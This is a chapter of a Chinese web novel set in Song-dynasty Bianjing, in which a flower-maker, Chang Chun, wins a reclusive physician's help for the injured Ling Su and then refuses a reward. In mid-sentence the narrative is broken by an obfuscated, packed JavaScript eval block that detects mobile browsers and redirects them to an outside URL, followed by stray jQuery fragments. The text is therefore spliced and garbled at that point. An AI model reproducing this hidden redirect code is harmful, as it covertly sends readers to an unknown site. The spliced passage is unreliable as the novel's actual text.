凌肃自凌迟般的疼痛中回神，听见祁先生唤出一个熟悉的名字，几乎要以为是自己的幻听。


    他条件反射地朝外间望去。


    像做梦一般，他看见玉石帘子被轻轻撩起，发出叮咚脆响。


    一名身穿藕荷色衫裙的女子低首敛眉，缓缓走了进来。


    祁方致对凌岳夫妇道：“你们不用谢我，若非她在竹舍外等了三天三夜，又想方设法求了我家老婆子，我也不会来此。”


    凌岳仔细在脑中搜索一番，确定自己从来不识得此女，疑道：“敢问娘子是何家闺秀？”


    凌夫人却已惊呼出声：“你是那做绒花的……”


    “常春，”她从容接道，“妾是望春门外、南斜后街做绒花的常春。”


    虽则疑惑，凌岳还是以国公之尊深深一礼：“我方才对祁先生说的话，对常娘子同样生效。”


    常春侧身避开了这一礼，反躬身行礼道：“国公爷不必多礼，妾如此行事非关其他，只是凌大人昔年曾救妾于水火，妾亦略尽绵薄之力以报大人恩德而已。”


    凌夫人却拍了凌岳一下，嗔道：“你就会说这些虚的，照我说，咱们应该好好地赏常娘子。”


    她转向常春，和蔼的脸上挂着汴京贵妇对平民惯有的、优容的笑容：“咱们国公府虽则并非豪富巨奢，报常娘子搭救之恩的谢礼还是拿得出的，常娘子想要什么尽管提，国公府绝无二话。”


    常春缓缓摇头，她对凌夫人亦浅浅行了一礼：“妾不作他想，只是报恩以求良心自安而已。”


    “凌大人如今伤痛既已暂缓，”她抬眸看了一眼凌肃，眼中仿似不带任何波澜与情感，“若无其他事，容妾先告辞了。”


    凌肃自她从帘后走出来就紧紧盯着她，半分目光也未从她身上移开过。


    青年气度极佳，如此形销骨立、病体支离下，竟还像株病梅般清癯疏朗。在看到常春的那一刻，他眸中爆发出不可置信的狂喜之色，猝然点亮了他虚弱的神情。


    听闻是她去求得祁先生来诊治自己，他几乎欣喜若狂。


    可听闻她对自己父母解释是为了报恩，他又很快冷静下来。


    此时被她不带情绪的眼神扫过，他只觉得仿佛一盆冰水当头浇下，浇熄了心中最后一点雀跃的小火花。


    山长水阔，再不相逢。


    那晚她的诀别之语，言犹在耳，字字句句犀利如刀，他亦归还了自己从她那里骗来的、证明两人之间尚有联系的证物。


    所以她去找祁方致，应当是得知了马球比赛和曾经同船而行的事，不想欠我的吧。


    不过那件事——！


    凌肃陡然一惊，立即从头到尾理了理，确认自己并没有露出过关于水匪的只言片语后方才放下心来。


    他希望常春是自由的，永远不必为任何感情所绑架。她有自己想要走的路，不应当附上过于沉重的行囊。


    所以这件事，他永远不会让她知道。


    他咳了一声，几人同时将视线转向他。


    他看着常春，她左边脸上起了一串小水泡。她被烫到了，她是不是很痛？她为了请祁方致来，到底受了什么罪？


    他的胸口像火一般烧灼着，疼痛更甚腿伤。


    而他脸色平静，眸中仿佛同样不带任何情绪，每个吐字都咬得很清晰：“母亲，常娘子为我请来了连官家亦请不动的祁先生，您用‘赏’字，不妥。”


    他才自剧痛中挣扎出来，连呼吸尚且带起一阵阵疼痛蔓延，此刻拼尽全力说了这一番话，浑身汗出如浆，黑发黏在颊边，衬得侧脸苍白虚弱。


    凌夫人一见之下顿时心疼得魂飞天外，再顾不得什么，连声附和：“不妥不妥，确实不妥，娘不该那样说。”


    常春不愿再多作停留，微微一笑：“妾谢过夫人，不必赏赐，便当恩情两清，从此可相忘于江湖。”


    说完便行礼告辞。


    回了小院，云雀依旧在金枝处还未回来，常春将自己甩到床铺上，十余日来的疲累仿佛潮水一般吞没了她，但过了那个临界点，她反而暂时不想睡了。


    她端详着自己的手。


    手背上咬痕还新鲜着，往外渗着丝丝缕缕的血迹。她小心将手凑到嘴巴前轻轻呼着，热气熏蒸下痛觉才渐次复苏，似乎有小蚂蚁在叮，又疼又痒。


    她皱起眉，狠狠骂自己：“笨啊你！吃饭的家伙也是能随便咬的吗？他痛就痛，关你什么事？你凑什么热闹啊你！”


    随即又想起一件事，顿时捶胸顿足、痛心疾首：


    “你是蠢猪吗常春，你买玉瓶赔进去了一百贯诶，这可是你全部的家当！刚刚凌夫人要赏赐你的时候，你又装什么高贵冷艳大瓣蒜？还不赶紧狮子大开口，给我五百万，我就离开你儿子，哈哈哈哈哈。”


    她被自己想的古早狗血梗逗得哈哈大笑，笑完又觉得有些没意思，脸上的笑容也寥落了。


    蚂蚁们排队从手背叮到手臂，再叮到肩膀，锁骨，最后蔓延到胸口，细细密密的痒和疼。


    她最终没办法哄好自己，嘴角耷拉了下来。


    委屈吗，好像有一点。


    憋屈吗，好像也有一点。


    但你又想得到什么呢？


    钱吗？


    感激吗？


    都不需要，那你要什么？


    我不知道。


    常春如实面对自己的内心，回答自己——


    我不知道。


    草！


    她最终大骂了一声，将脸埋入了被褥中，脸上的烫伤摩擦着棉布，火辣辣的疼着，像被谁甩了一耳刮子似的。


    她动了动，随即更深地往被褥间沉下去，没有让自己的哽咽泄出一丝声音。


    常春整整昏睡了两天一夜，醒来有如重生。


    见她醒来，守在一边的云雀端过熬好的米粥：“阿姐，你睡了好久，再不醒我都准备去找王娘子了。饿了吧？这段时间你累坏了，快来喝点粥。”


    常春看着云雀的小脸，心中涌起歉意，她抬手摸摸妹妹的发顶：“对不起云雀，阿姐这阵子没能好好照顾你，以后不会了。”


    云雀摇摇头，突然想起一事：“对了，阿姐，你回来的第二日，有位名叫秋荻的娘子送来了这个。”


    她跑到外屋捧回个白瓷小瓶：“她看你睡得熟，就没叫醒你，只叮嘱我用这个敷你脸上的烫伤，一日三次。”


    常春这才发现原本脸上的一溜水泡已经偃旗息鼓，只留下几点新鲜的疤痕和微微的痛痒。


    她看着白瓷瓶：“我差不多好了，不用敷了，收起来吧。”


    七日后，祁方致为凌肃施了最后一次针。


    屋内只有他们二人，室内除银针落入托


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933413|191969||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    盘的细微叮叮声响，再无其他声音。


    凌肃终于忍不住问出那个他一直想知道的问题：“祁先生，常春她……是如何说服您来为我诊治的？”


    祁方致瞥了他一眼：“哦？我还当你当真不关心呢。”


    又阴森森一笑：“她说的，可都是大逆不道的话，但凡泄露半个字，都会立马死无葬身之地那种。”


    凌肃面对祁方致洞察一切的眼神也无意再装，只是苦涩笑道：“她死之前我会先行一步，您就告诉我吧。”


    于是祁方致将常春踏进竹林等候三个日夜，又返回汴京捧了玉兰求见祁夫人，再到小黑屋辩论，最后和他一起回了汴京的经过讲了一遍。


    凌肃听得脸越来越白，手指在掌心掐得越来越紧。


    直到——


    “朝代更迭自有天命，帝王将相如同过江之鲫，来来去去，无非门户私计。唯有一点万古不变——生灵从来倒悬，民生从来多艰，先生空负一身绝学，安能坐视苍生沦陷苦海，却将自己自囿于名为‘忠义’、实则‘逃避’之牢笼！”


    祁方致一字不漏的复述完常春的这段话，满意地看着凌肃露出震惊到茫然的表情。


    哼，也不比当时的自己好多少。他想。


    “如何，够杀她几次头？”他得意地问。


    凌肃当即坐直了。


    他两条腿包得严严实实，只得拱手为礼：“祁先生，常春只是市井女子，这种无心无知之言，实在不值得祁先生如此挂怀，先生就当怜惜她幼失恃祜，无人教养，胡乱说的，将之忘了吧。”


    祁方致道：“你说错了，常春可不是普通的市井女子，此言更称不上无知，只是她为激我出山，敢冒天下之大不韪，实在是个痴人，因此，我才多说了几句。”


    他看着凌肃：“痴人痴心，不该被辜负。”


    凌肃垂眸：“若我还有机会的话。”


    祁方致哈哈大笑：“你若没有机会的话，我便不会在这里了。”


    他将银针一卷，放入药箱中提起来，连声道：“走咯，走咯，我也要回家找我的痴人咯！”


    祁老头笑着大步走出了眠风楼，身后凌肃凝视着窗外久久不语。


    因病误春，窗外早已春色深深。


    阶前海棠开得正艳，云蒸霞蔚，却映不进凌肃的黑沉双眸半分。


    他回忆着与常春初遇到现在，她展现出的远非寻常女子可比的坚韧顽强。


    无论在何种境地，她的第一选择都是站起来解决问题，连哭泣示弱都只是她达成目的的一种手段。


    起初他只是觉得她是如此不同，诱他忍不住一再探究，等骤然醒悟过来，才发现自己已心甘情愿在彀中良久。


    而现在……


    凌肃深深皱起眉。


    如果说‘帝王将相如过江之鲫’已是超脱了她的阶层才能有的见识，那么她后面那句‘几百年的朝代在这样的时间尺度上不过是弹指一挥间’，便俨然不似凡尘间人了。


    那是一种俯视全貌的姿态。


    她俯视他，俯视襄国公府，俯视汴京，俯视整个大宋朝。


    她行礼，她下跪，她哀求，但她的灵魂从未折过半分腰。


    溧水边卖花的孤女……真的是这样吗？


    凌肃喃喃问出了声——


    “常春，你到底是谁？”